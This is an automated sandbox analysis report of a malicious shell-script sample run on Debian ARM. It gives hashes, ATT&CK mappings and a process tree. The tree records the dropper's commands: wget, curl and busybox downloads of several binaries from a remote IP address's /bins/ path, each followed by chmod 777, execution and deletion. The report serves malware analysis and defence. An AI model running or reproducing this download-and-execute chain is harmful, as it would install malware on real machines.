4d4cd78d2d65f13b28e3fa8fc089d5a5968b6d616a87282837f7d0277d984637

Analysis

max time kernel
11s
max time network
13s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2024, 02:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4d4cd78d2d65f13b28e3fa8fc089d5a5968b6d616a87282837f7d0277d984637.sh
Size 10KB
Sample241027-csrndstbkp
SHA256 4d4cd78d2d65f13b28e3fa8fc089d5a5968b6d616a87282837f7d0277d984637
MD5 3c7686bc4a372f89fc0a69c71181c49d
SHA1 1bd3e8cf5e7622535ac6803ff2f4b441a6b2e6f5
SHA512 0df3aceb78bc3db6590a8e1657abbe769137287581c40c4b5336a37ceb347bb2ed1e2eb65d017c3ad5044ee0a8ae104e5a461f8894b2e17f717b84ccdc436cf8
SSDEEP 96:QiRXhEX1OaklRGrs0nKmemrvo9dm4Iy/+OaklH9wrs0nKmomrvo9dmxV8B3Dx7F:QiRREX1OaklRGkExOaklA6B
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
801	chmod
807	chmod
688	chmod
714	chmod
739	chmod
751	chmod
772	chmod
793	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV	689	J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
/tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz	715	s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
/tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e	740	WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
/tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ	752	PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
/tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH	773	Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
/tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz	794	KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
/tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz	802	2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
/tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW	808	vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW

Checks CPU configuration 1 TTPs 8 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 16 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz	curl
File opened for modification	/tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz	curl
File opened for modification	/tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW	curl
File opened for modification	/tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV	curl
File opened for modification	/tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz	curl
File opened for modification	/tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e	curl
File opened for modification	/tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ	curl
File opened for modification	/tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH	curl

/tmp/4d4cd78d2d65f13b28e3fa8fc089d5a5968b6d616a87282837f7d0277d984637.sh
/tmp/4d4cd78d2d65f13b28e3fa8fc089d5a5968b6d616a87282837f7d0277d984637.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:659
- /usr/bin/wget
  wget http://87.120.84.230/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  PID:661
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  PID:687
- /bin/chmod
  chmod 777 J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  ./J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  - Executes dropped EXE
  PID:689
- /bin/rm
  rm J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
  2⤵
  PID:690
- /usr/bin/wget
  wget http://87.120.84.230/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  PID:691
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:696
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  PID:701
- /bin/chmod
  chmod 777 s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  ./s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  - Executes dropped EXE
  PID:715
- /bin/rm
  rm s8HUkKxDvVvVfPJZKYrJDxaqkLZy2D6uBz
  2⤵
  PID:716
- /usr/bin/wget
  wget http://87.120.84.230/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  PID:731
- /bin/chmod
  chmod 777 WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  ./WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm WIEnf9ThJ7HvqS6m0WzD8uqm2MkX0dM29e
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  PID:750
- /bin/chmod
  chmod 777 PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  ./PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm PNxPbAH2xD7FCRt7R0mTK1LPE5spCtlVVQ
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.84.230/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  PID:767
- /bin/chmod
  chmod 777 Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  ./Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm Y2G2yNcue0IGV6qlFxRkszQyH0Th8PxQpH
  2⤵
  PID:775
- /usr/bin/wget
  wget http://87.120.84.230/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  PID:789
- /bin/chmod
  chmod 777 KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  ./KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm KSZ5DaCJzeRw3UJvADJDYCrrg3JwQckhsz
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.84.230/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  PID:800
- /bin/chmod
  chmod 777 2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  ./2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  - Executes dropped EXE
  PID:802
- /bin/rm
  rm 2jc5tjvYuJY91ey19ywQAgKkIwK0qCwIrz
  2⤵
  PID:803
- /usr/bin/wget
  wget http://87.120.84.230/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  PID:806
- /bin/chmod
  chmod 777 vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  ./vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  - Executes dropped EXE
  PID:808
- /bin/rm
  rm vzNfV8lOGCk7oxfAoPih0zDN9bkZS66tvW
  2⤵
  PID:809
- /usr/bin/wget
  wget http://87.120.84.230/bins/PXvbEcL0QLLJQI6MRUiJoYkKg5eYQYN7D4
  2⤵
  PID:810

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV

Path /tmp/J5Bx5B4C0081MbLO9Bn34rpSNek5AdqEyV
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads